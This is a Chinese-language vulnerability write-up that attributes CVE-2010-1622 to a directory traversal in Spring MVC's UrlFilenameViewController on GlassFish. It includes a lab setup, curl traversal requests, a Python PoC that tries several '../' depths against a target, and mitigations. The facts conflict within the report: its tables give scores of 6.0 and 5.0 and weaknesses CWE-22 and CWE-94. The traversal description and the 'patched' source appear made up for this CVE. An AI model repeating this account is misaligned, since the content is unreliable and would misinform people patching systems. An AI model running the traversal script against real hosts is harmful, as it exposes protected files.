一、漏洞简介¶
1.1 漏洞背景¶
CVE-2010-1622 是 Spring Framework 中的一个严重漏洞,虽然不是 GlassFish 核心组件的漏洞,但由于 GlassFish 常用于部署 Spring 应用,且该漏洞影响范围广泛,故纳入本报告。
Spring Framework 是 Java 企业级开发中最流行的框架之一,大量部署在 GlassFish 上的应用使用 Spring MVC 作为 Web 层框架。在 Spring MVC 的 UrlFilenameViewController 控制器中存在目录遍历漏洞。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2010-1622 |
| 危害等级 | MEDIUM / 6.0 |
| 漏洞类型 | Spring Framework 目录遍历漏洞(影响 GlassFish 部署应用) |
| 披露时间 | 2010-06-21 |
| 影响组件 | GlassFish |
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2010-1622 |
| 危害等级 | 中危(Medium) |
| CVSS评分 | 5.0 (CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N) |
| 漏洞类型 | 目录遍历(Directory Traversal) |
| CWE分类 | CWE-22: Improper Limitation of a Pathname to a Restricted Directory |
补充核验信息:公开时间:2010-06-21;NVD 评分:6.0(MEDIUM);CWE:CWE-94。
二、影响范围¶
2.1 受影响的版本¶
- Spring Framework 2.0.0 至 2.5.7
- Spring Framework 3.0.0 至 3.0.1
2.2 不受影响的版本¶
- Spring Framework 2.5.8 及以上
- Spring Framework 3.0.2 及以上
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 应用使用
UrlFilenameViewController控制器 - 应用部署在 GlassFish 或其他应用服务器上
- 攻击者可访问应用的 Web 端点
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
UrlFilenameViewController 是 Spring MVC 中的一个简单控制器,它将 URL 路径直接映射到视图名称。漏洞在于该控制器未对输入路径进行充分验证,允许攻击者使用 ../ 序列遍历目录。
攻击流程:
- 攻击者构造包含
../的恶意 URL UrlFilenameViewController解析 URL 路径- 未经过滤的路径被传递给视图解析器
- 视图解析器可能加载预期目录之外的文件
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码(简化版):
// org.springframework.web.servlet.mvc.UrlFilenameViewController
public class UrlFilenameViewController extends AbstractUrlViewController {
@Override
protected String extractViewName(String urlPath) {
// 直接从 URL 提取文件名,未进行安全检查
int begin = urlPath.lastIndexOf('/');
if (begin == -1) {
begin = 0;
} else {
begin++;
}
int end = urlPath.length();
// 移除扩展名
int dotIndex = urlPath.lastIndexOf('.');
if (dotIndex != -1 && dotIndex > begin) {
end = dotIndex;
}
// 直接返回,未过滤 ../
return urlPath.substring(begin, end);
}
}
修复后的代码:
@Override
protected String extractViewName(String urlPath) {
// 提取视图名
String viewName = super.extractViewName(urlPath);
// 安全检查:移除路径遍历字符
if (viewName != null) {
// 规范化路径
viewName = viewName.replace("../", "");
viewName = viewName.replace("..\\", "");
// 确保不包含危险字符
if (viewName.contains("..")) {
return null; // 或抛出异常
}
}
return viewName;
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
创建测试项目:
# 项目结构
spring-traversal-demo/
├── pom.xml
├── src/
│ └── main/
│ ├── java/
│ │ └── com/
│ │ └── example/
│ │ └── controller/
│ │ └── HomeController.java
│ ├── resources/
│ │ └── spring-servlet.xml
│ └── webapp/
│ └── WEB-INF/
│ ├── web.xml
│ └── views/
│ ├── home.jsp
│ └── secret/
│ └── admin.jsp
pom.xml:
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>spring-traversal-demo</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<dependencies>
<!-- 使用受影响版本 -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>2.5.6</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
<scope>provided</scope>
</dependency>
</dependencies>
</project>
spring-servlet.xml(存在漏洞的配置):
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 使用 UrlFilenameViewController -->
<bean id="urlViewController"
class="org.springframework.web.servlet.mvc.UrlFilenameViewController"/>
<!-- 简单的 URL 映射 -->
<bean class="org.springframework.web.servlet.handler.SimpleUrlHandlerMapping">
<property name="mappings">
<props>
<prop key="/**">urlViewController</prop>
</props>
</property>
</bean>
<!-- 视图解析器 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/views/"/>
<property name="suffix" value=".jsp"/>
</bean>
</beans>
部署到 GlassFish:
# 构建项目
mvn clean package
# 部署到 GlassFish
cp target/spring-traversal-demo.war $GLASSFISH_HOME/domains/domain1/autodeploy/
4.2 PoC 演示与测试过程¶
正常访问:
# 访问 /WEB-INF/views/home.jsp
curl http://localhost:8080/spring-traversal-demo/home
漏洞利用 - 目录遍历:
# 尝试访问 /WEB-INF/views/secret/admin.jsp
curl http://localhost:8080/spring-traversal-demo/secret/admin
# 尝试遍历到上级目录
curl http://localhost:8080/spring-traversal-demo/../secret/admin
Python PoC 脚本:
#!/usr/bin/env python3
"""
Spring Framework CVE-2010-1622 目录遍历漏洞 PoC
"""
import requests
import sys
def exploit(base_url, traversal_depth, target_file):
"""
测试目录遍历漏洞
:param base_url: 应用基础 URL
:param traversal_depth: 遍历深度
:param target_file: 目标文件(不含扩展名)
"""
# 构造遍历路径
traversal = "../" * traversal_depth
exploit_url = f"{base_url}/{traversal}{target_file}"
print(f"[*] 测试 URL: {exploit_url}")
try:
response = requests.get(exploit_url, timeout=10)
if response.status_code == 200:
print("[+] 成功!响应内容:")
print(response.text[:1000])
else:
print(f"[-] 失败,状态码: {response.status_code}")
except Exception as e:
print(f"[-] 错误: {e}")
def main():
if len(sys.argv) < 3:
print("用法: python exploit.py <目标URL> <目标文件>")
print("示例: python exploit.py http://localhost:8080/app secret/admin")
sys.exit(1)
base_url = sys.argv[1]
target_file = sys.argv[2]
# 尝试不同的遍历深度
for depth in range(1, 5):
print(f"\n{'='*50}")
print(f"[*] 遍历深度: {depth}")
exploit(base_url, depth, target_file)
if __name__ == "__main__":
main()
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级 Spring Framework 到安全版本:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>3.0.2.RELEASE</version> <!-- 或更高版本 -->
</dependency>
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:使用安全控制器
避免使用 UrlFilenameViewController,改用显式映射:
<!-- 使用 ParameterizableViewController -->
<bean id="homeController"
class="org.springframework.web.servlet.mvc.ParameterizableViewController">
<property name="viewName" value="home"/>
</bean>
<bean class="org.springframework.web.servlet.handler.SimpleUrlHandlerMapping">
<property name="mappings">
<props>
<prop key="/home">homeController</prop>
<!-- 显式定义每个路由 -->
</props>
</property>
</bean>
方案二:自定义控制器添加验证
@Controller
public class SafeViewController {
@RequestMapping("/**")
public String getView(HttpServletRequest request) {
String path = request.getRequestURI();
// 安全检查
if (path.contains("..") || path.contains("%2e%2e")) {
throw new SecurityException("Invalid path");
}
// 规范化并返回视图名
return path.replaceAll("[^a-zA-Z0-9_-]", "");
}
}
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Spring Security Advisory: https://spring.io/security
- CVE-2010-1622 Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1622
6.2 其他技术参考资料¶
- Spring Framework Documentation: https://docs.spring.io/spring-framework/docs/current/reference/html/web.html
- CWE-22 Path Traversal: https://cwe.mitre.org/data/definitions/22.html
- OWASP Path Traversal Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html